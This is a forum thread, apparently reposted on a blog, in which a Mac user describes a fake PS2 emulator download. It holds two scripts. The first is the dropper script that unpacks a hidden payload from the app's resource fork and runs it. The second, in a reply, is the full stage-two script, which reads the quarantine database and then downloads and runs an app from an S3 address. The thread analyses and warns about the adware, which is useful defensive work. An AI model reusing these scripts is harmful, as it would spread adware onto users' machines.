跳至主要內容
  • Hostloc 空間訪問刷分
  • 售賣場
  • 廣告位
  • 賣站?

4563博客

全新的繁體中文 WordPress 網站
  • 首頁
  • 遇到了一个 mac 上的木马(疑似),获取到了二进制文件,大家有兴趣看看他做了什么吗?
未分類
31 10 月 2020

遇到了一个 mac 上的木马(疑似),获取到了二进制文件,大家有兴趣看看他做了什么吗?

遇到了一个 mac 上的木马(疑似),获取到了二进制文件,大家有兴趣看看他做了什么吗?

資深大佬 : xfangs 2

前因

晚上突然想玩一下 ps2 老游戏,打开百度搜索 ps2 模拟器,然后就搜到了这个网站,看起来很正经,还提供了全平台的软件下载,于是我就下载了。

https://ps2smart.com/download.html

案件进行中

打开 dmg 之后,出现一个图标,我下意识就双击运行了。但是和一般 app 不同,双击之后一闪而现了 terminal,然后什么都没发生,我意识到可能翻车了。

目前的信息

我查看了一下伪造成 app 的脚本,内容如下:

#!/bin/bash TEMP_NAME="$(mktemp -t Installer)" tail -c 8822 "$0/..namedfork/rsrc" | funzip -GsJPc > "${TEMP_NAME}" chmod +x "${TEMP_NAME}" && nohup "${TEMP_NAME}" > /dev/null 2>&1 & killall Terminal exit 

因为涉及到了 ..namedfork/rsrc,所以我补充一下,这里 $0/..namedfork/rsrc 就是那个脚本文件的图标的地址(应该是 macos 特有的路径),这个图标文件大概 140KB 。

我理解的意思是脚本中提取了图标后面约 8KB 的二进制进行解压(解压过后 16KB),然后在后台运行了。

限于个人能力,目前进展停止在了对那个二进制文件反汇编,不知道他究竟在我的电脑中做了什么,所以非常苦恼。因为他是没有获取 root 权限的,所以或许危害不是那么大?

总结

有没有感兴趣的大佬研究研究呀,小弟在这里先行感谢了!

附件

提取到的二进制文件:可运行的未知二进制文件

大佬有話說 (4)

  • 資深大佬 : wwhc

    Avast 报告为 MacOS:Bundlore-FJ [Adw]
    mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/

  • 主 資深大佬 : xfangs

    @wwhc 万分感谢,前半段倒是很像,对比后半段他并没有问我要 root 密码。

    这个伪造的网站 2020/10/4 还在更新,说明这类病毒还在持续更新中,或许有了新的突破也说不定,希望他的目的只是发发广告

  • 資深大佬 : mclxly

    我也装过一些网络下载的软件,不晓得中招没

  • 資深大佬 : lcdtyph

    看了一眼,这个 binary 又执行了下面这个 shell 脚本:

    “`bash
    temp_dir() { if [ -n “${TMPDIR}” ]; then echo “${TMPDIR}”; else getconf DARWIN_USER_TEMP_DIR; fi; }
    where_from_url() { /usr/bin/sqlite3 “${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2” “SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1” 2> /dev/null; }
    extract_did() {
    local -r url=”$(where_from_url)”
    local query=”${url#*?}”
    local did_find=0
    for param in ${query//[=&]/ }; do
    ((did_find == 1)) && echo “${param}” && break
    [ “${param}” == “utm_source” ] || [ “${param}” == “sidw” ] || [ “${param}” == “neo” ] && did_find=1
    done
    }
    close_terminal() { killall “Terminal”; }
    download() {
    local -r url=”${1}”
    local -r tmp_dir=”${2}”
    local -r path=”${tmp_dir}/$(uuidgen)”
    if curl -f -s -o “${path}” “${url}”; then echo “${path}”; fi
    }
    unarchive() {
    local -r tgz_path=”${1}”
    [ -z “${tgz_path}” ] && return
    local -r app_dir=$(/usr/bin/mktemp -d “$(dirname “${tgz_path}”)/$(uuidgen)”)
    if tar -xzf “${tgz_path}” -C “${app_dir}”; then echo “${app_dir}”; fi
    rm -rf “${tgz_path}”
    }
    app_path() {
    local -r app_dir=”${1}”
    [ -z “${app_dir}” ] && return
    local -r app_paths=(“${app_dir}”/?*.app)
    local -r app_path=”${app_paths[0]}”
    [ -d “${app_path}” ] && echo “${app_path}”
    }
    bin_path() {
    local -r app_path=”${1}”
    [ -z “${app_path}” ] && return
    local -r binary_paths=(“${app_path}/Contents/MacOS”/?*)
    local -r binary_path=”${binary_paths[0]}”
    echo “${binary_path}”
    }
    exec_bin() {
    local -r bin_path=”${1}”
    local -r did=”${2}”
    local -r app_path=”${3}”
    [ -z “${bin_path}” ] && return
    “${bin_path}” -did “${did}”
    }

    main() {
    local -r url=”${1}”
    close_terminal
    local -r did=”$(extract_did)”
    [ -z “${did}” ] && return
    local -r tmp_dir=”$(/usr/bin/mktemp -d “$(temp_dir)$(uuidgen)”)”
    local -r arch_path=”$(download “${url}” “${tmp_dir}”)”
    local -r app_dir=”$(unarchive “${arch_path}”)”
    local -r app_path=”$(app_path “${app_dir}”)”
    local -r bin_path=”$(bin_path “${app_path}”)”
    exec_bin “${bin_path}” “${did}” “${app_path}”
    rm -rf “${tmp_dir}”
    }

    main “https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz” &
    “`

    会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行

文章導覽

上一篇文章
下一篇文章

AD

其他操作

  • 登入
  • 訂閱網站內容的資訊提供
  • 訂閱留言的資訊提供
  • WordPress.org 台灣繁體中文

51la

4563博客

全新的繁體中文 WordPress 網站
返回頂端
本站採用 WordPress 建置 | 佈景主題採用 GretaThemes 所設計的 Memory
4563博客
  • Hostloc 空間訪問刷分
  • 售賣場
  • 廣告位
  • 賣站?
在這裡新增小工具